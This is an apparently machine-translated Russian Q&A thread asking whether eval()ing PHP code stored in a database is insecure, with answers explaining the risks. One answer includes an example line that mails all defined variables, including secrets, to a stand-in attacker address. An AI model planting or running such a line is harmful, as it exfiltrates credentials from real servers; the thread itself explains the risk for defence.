Хранение кода PHP в базе данных и его eval () во время выполнения небезопасно? - PullRequest
4 голосов
/ 12 октября 2011

Я создал программу, которая хранит, извлекает и eval()s код из базы данных SQLite.

Прежде чем перейти к моим плохим практикам кодирования, давайте просто отнесемся к этому как к теоретическому и притворимся, что у меня есть веские основания для этого.

За исключением всех других соображений и предположения, что пользовательский ввод не является фактором, существует угроза безопасности , присущая хранению кода PHP в БД и его запуску с eval()?

Пояснения:

  • Я не eval()ing пользовательский контент.
  • Файл БД SQLite находится в том же каталоге и имеетк нему применяются те же меры безопасности, что и к остальным моим файлам.
  • Пожалуйста, не комментируйте производительность, кэширование и т. д. Я знаю обо всем этом.

Ответы [ 6 ]

5 голосов
/ 12 октября 2011

eval () сам по себе не является страховкой. Это просто плохая практика, неясная и открывающая множество ошибок и проблем безопасности.

1 голос
/ 12 октября 2011

Даже если отправленные пользователем данные не сохраняются в вашей базе данных, вы все равно предоставляете способ выполнения кода, хранящегося в базе данных, даже если вы не поместили этот код там. Если кто-то получит доступ к вашему серверу баз данных, он может потенциально сделать что-то худшее, чем удалить вашу базу данных, изменив хранимый код, например, удалить любые файлы, к которым у PHP-скрипта есть доступ для записи.

0 голосов
/ 12 июля 2016

eval() не является небезопасным. Но это безопасно только в том случае, если код, который он оценивает, является безопасным. Таким образом, мы могли бы придумать пример кода, который делает что-то плохое, предположим, что каким-то образом этот код хранится в вашей базе данных, и boom .

Код, который хранится в другом месте, не является частью вашего проекта, не проверяется кодом, не отслеживается в git и не проверяется модулем. Код в основном не оценивается с точки зрения безопасности, поэтому нет гарантии безопасности. Другими словами, с точки зрения обеспечения качества это слабый план качества, поскольку безопасность кода является частью качества кода.

Любой, имеющий доступ к вашей базе данных, может изменить код, и затем этот код выполняется, я полагаю, без какого-либо рассмотрения. Код не имеет ограничений доступа; он может ссылаться и даже изменять переменные в приложении, которое его вызывает. Итак, вопрос в том, как меняется код в вашей базе данных? У кого есть доступ? Что такое процесс проверки кода? Что такое процесс тестирования?

В дополнение к SQL-инъекции, которая может незаконно изменить код PHP в базе данных, есть также безопасность любой аутентификации, которую вы используете для пользователей, прежде чем они смогут вносить авторизованные изменения в код. Я предполагаю, что ваше приложение имеет некоторый интерфейс для изменения кода в базе данных через веб-интерфейс.

Вы запросили доказательства, по которым, я полагаю, вам нужен пример кода, который мог бы сделать что-то плохое, если бы его оценивали.

Если я смогу организовать что-то вроде следующего кода для хранения в вашей базе данных и eval() этого кода, я смогу получить много информации о вашем приложении. Например. пароль вашей базы данных, ваши методы аутентификации, версия фреймворка, который вы используете ... все виды вещей.

mail('attacker@example.com', 'Mwa ha ha', print_r(get_defined_vars(), true));

Существуют аналогичные функции, такие как get_defined_functions(). Или даже вернуть свой собственный исходный код с open(__FILE__). Злоумышленник может быстро узнать, где в вашем коде есть другие дыры в безопасности.

Кроме того, существуют различные способы, которыми PHP-код может получить информацию о вашем сервере или внести изменения в ваш сервер. Объедините eval() с кодом, который использует exec(), и вы можете запустить любую команду на сервере. По крайней мере, он работает под uid, от имени которого работает http-сервер, - который, я надеюсь, не является пользователем root.

0 голосов

Вы позволяете базе данных запускать любой код PHP, какой захотите, как любой пользователь, от имени которого работает PHP.Конечно, это небезопасно.

0 голосов
/ 12 октября 2011

Вы пытаетесь использовать базу данных в качестве хэш-таблицы функций? Таким образом, вы можете вызвать кусок кода в зависимости от оценки ключа. Проблема безопасности, которую я вижу здесь, заключается в том, что база данных может иметь другой API, доступный для ее заполнения. Без вашего ведома / явного указания в базу данных может быть введена некоторая пара ключ-значение. Если вы использовали вместо этого хеш-таблицу функций, кто-то должен сделать коммит в вашем хранилище кода, чтобы изменить функцию. Так что теперь вам нужно защищать БД так же хорошо, как хранилище вашего кода.

0 голосов
/ 12 октября 2011

Да. Если я смогу внедрить что-то в вашу базу данных, то смогу выполнить это на вашем сервере через eval.

...